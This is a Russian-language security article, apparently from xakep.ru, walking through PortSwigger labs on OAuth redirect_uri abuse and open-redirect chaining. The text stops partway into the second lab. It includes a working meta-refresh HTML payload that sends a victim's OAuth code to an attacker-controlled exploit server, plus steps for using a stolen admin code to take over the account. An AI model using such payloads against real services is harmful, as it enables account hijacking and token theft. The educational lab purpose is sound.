Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Сегодня разберем мисконфиги OAuth, которые встречаются в дикой природе и, хоть сами по себе безобидны, в определенных условиях могут иметь серьезные последствия — вплоть до похека админских аккаунтов. В этой статье я покажу, как искать такие цепочки уязвимостей.
Ты, например, мог слышать про Open Redirect, который часто не воспринимают всерьез и за обнаружение которого не платят Bug Bounty. Но если ты сможешь найти способ красиво заюзать его и повысить импакт до кражи аккаунта, это уже совсем другое дело.
info
О том, как устроен протокол OAuth и как эксплуатируют базовые уязвимости в нем, читай в моей предыдущей статье — «OAuth от и до. Изучаем протокол и разбираем базовые атаки на OAuth».
Схематичное изображение атаки с подменой redirect_uri
Первый кейс простой. redirect_uri
— это тот параметр, который говорит серверу авторизации, на какой URL ему нужно направить токен после того, как пользователь войдет через социальную сеть и согласится дать доступ к своим ресурсам.
Приложение на первом этапе авторизации по OAuth, или, в терминологии спеки, этапе Authorization Request, формирует ссылку и указывает в качестве этого параметра подконтрольный ему эндпоинт.
Когда ты входишь через Discord на сайт Midjourney, ссылка выглядит примерно так:
<https://discord.com/login>?redirect_to=https://midjourney.com/oauth2/authorize?response_type=code&client_id=936929561302675456&redirect_uri=https://www.midjourney.com/__/auth/handler&state=AMbdmDkycu0e3INVMzD9TaBJsUz4DqLki0MEElniTdiomtU7ejHQwa-zsdFLI3lv11Dlz0syNqa-sQ_fO9vwS_buX5sfKH_JjP1GJfgq8P0yzkAwTKOFRgZgp1Trz61FhuNd99rep6mYA_0NZniAmHeU31AHLer3ENc9UYhlPv3F0d10TtqAo3jrHFTDnzmWBoryBJbuP1dHH7fmo-UKkqedWNxmSNnOqOIE2erMiwibVnP3bhpWZKH-ka0UB6FesAGOGyaNKZG1KY92X8Rai5ceovEDCRId9vW2q_GLwVTixPua1vD1ChLxPi7QgIiRQCk&scope=identify email guilds.join guilds.members.read role_connections.write&context_uri=https://www.midjourney.com
В этом запросе говорится о том, что в конце флоу сервер авторизации не только выдает код, но и должен вернуть пользователя на сайт приложения midjourney.como/auth2/authorize
.
По‑хорошему в параметре redirect_uri
должен быть вайтлист ссылок, на которые можно редиректить. Такие ссылки обычно указывает владелец приложения, когда его регистрирует. Это позволяет обрубать запрос, если кто‑то подставит свой redirect_uri
.
Если вайтлиста нет, это создает пространство для манипуляций. Злоумышленник может взять ссылку из первого этапа и заменить в ней redirect_uri
подконтрольным ему сервисом, выложить ее где‑нибудь в социальных сетях и украсть токен после того, как кто‑нибудь уже авторизованный в Discord и в Midjourney перейдет по ней (то же справедливо и для других пар приложений и OAuth-провайдеров).
Сейчас мы разберем это подробнее на реальном примере.
Стартуем и оказываемся на главной странице со странной картинкой.
Главная страница блога
Как и раньше, проходим весь флоу с логином, чтобы собрать все запросы и спокойно проанализировать их. Заходим под аккаунтом wiener
.
Уведомление об успешном логине
И оказываемся в личном кабинете.
Личный кабинет
Флоу авторизации пройден, переходим в Burp. Находим Authorization Request (тот запрос на сервер авторизации, на который нас перенаправило приложение) и отправляем его в Repeater.
Именно в этой ссылке есть уязвимый redirect_uri
, который мы и будем эксплуатировать.
Запрос на авторизацию
Уязвимость заключается в том, что в приложении сервера авторизации должным образом (вообще никак) не проверяется redirect_uri
. А это значит, что, подменив его, мы можем направить пользователя на собственную страницу, чтобы залогировать чужой токен.
Посмотрим, как это происходит на практике. Меняем в нашем запросе тот URI, который был указан, на адрес эксплоит‑сервера. Он выдается в лабораториях вроде этой, и его можно найти в верхнем меню.
Кнопка с переходом к эксплоит‑серверу
Переходи туда, копируй ссылку и вставляй ее в качестве параметра redirect_uri
.
Ссылка на эксплоит‑сервер
У меня это выглядит так.
Подмена redirect_uri адресом эксплоит‑сервера
Можно нажать правой кнопкой мыши и выбрать Copy URL, чтобы скопировать всю ссылку и посмотреть в браузере, как произойдет редирект и в логах появится наш токен.
Нигде ничего вводить уже не надо (так как мы уже вошли на всех сайтах и дали согласие), просто ты прошел цепочку редиректов, и вот уже токен залогирован на нашем эксплоит‑сервере или сервере злоумышленника.
OAuth-токен в access-логах
Это наш собственный токен, а нам нужен токен администратора. Так что возвращаемся на главную страницу эксплоит‑сервера и берем ту же самую разметку с редиректом, которую мы уже использовали в лабораториях из прошлой статьи. Только на этот раз меняем URL на тот, который мы только что скрафтили, где redirect_uri
ведет на наш сервер.
У меня получилось так.
<meta http-equiv="refresh" content="0; url=https://oauth-0aa1008d031d3e2f8262ddfe02b500bd.oauth-server.net/auth?client_id=thtwm4tl3pzj84mokh19e&redirect_uri=https://exploit-0a0c001703f13e0f82e0de55011a000f.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email" />
Вставляем HTML-разметку в поле Body и сохраняем кнопкой Store.
HTML-разметка для эксплоита
Теперь у нас есть страница, на которую может зайти администратор, и тогда мы украдем его учетку. При посещении страницы произойдет цепочка редиректов для авторизации. Поскольку он уже залогинен в социальной сети, в конце концов он будет перенаправлен на наш сервер, где мы и залогируем его OAuth-токен из URL.
Нажимаем Deliver exploit to victim. В зависимости от нагрузки на серверы PortSwigger запрос может прийти с небольшой задержкой. Мне пришлось подождать несколько минут (в течение которых я жал одну и ту же кнопку), и в конце концов мне прилетело несколько десятков запросов с токеном администратора.
Много залогированных токенов админа
Копируем последний пришедший токен и вставляем в запрос /oauth-callback
. Если все пройдет нормально, сервер должен отдать куки и показать, что мы залогинены. Так и произошло. Появилась ссылка на панель администратора, а это значит, что мы не просто зашли, а зашли как админ.
Отправка украденного кода, чтобы получить сессию админа
Заходим через браузер, удаляем пользователя carlos
и наслаждаемся победой над еще одной лабой.
Уведомление об успешном прохождении лабы
Схематичное изображение Open Redirect
Давай кратко вспомним, что вообще такое Open Redirect.
info
Open Redirect, или открытое перенаправление, — это такая уязвимость, когда веб‑приложение допускает перенаправить пользователя на произвольные внешние URL-адреса без должной проверки.
Например, у нас есть сайт Google. Он не нуждается в представлении, у него большой кредит доверия, и все компании считают, что домен google.com безопасный, поэтому дают ему некоторые послабления, добавляя в собственные белые списки.
Но если злоумышленники найдут на нем Open Redirect, то они смогут воспользоваться этим доверием и использовать его, чтобы создать ссылку на собственный C2-сервер, обходя детектирование некоторых антивирусов.
Вот пример такой ссылки:
https://www.google.com/url?sa=t&url=https://evil.com
Она была бы уязвимой, если бы сразу направляла на указанный сайт. Хорошим тоном считается предупреждать пользователя, что он покидает легитимный сайт, и не выполнять редирект без его согласия.
Предупреждение о небезопасном сайте
Сам по себе Open Redirect не очень опасен, кроме пограничного случая, связанного с вредоносами, который я описал выше. Но его часто используют в связке с эксплуатацией других веб‑уязвимостей, когда он становится по‑настоящему грозным оружием, позволяющим обходить многие фильтры, заточенные на проверку по регулярке или подстроке.
К примеру, сайт может проверять, что redirect_uri
начинается только с https://example.com
. Если на этом example.com
получится найти Open Redirect, то можно будет и пройти проверку, и эксплуатировать уязвимость, чтобы украсть токен через OAuth.
Как всегда, открываем лабораторию и попадаем на главную страницу блога.
Главная страница блога
Логинимся через социальную сеть.
Вход через социальную сеть
Смотрим историю запросов, берем Authorization Request и пытаемся повторить трюк из предыдущей лабы — для этого заменяем redirect_uri
каким‑нибудь своим, например адресом эксплоит‑сервера.
Источник: xakep.ru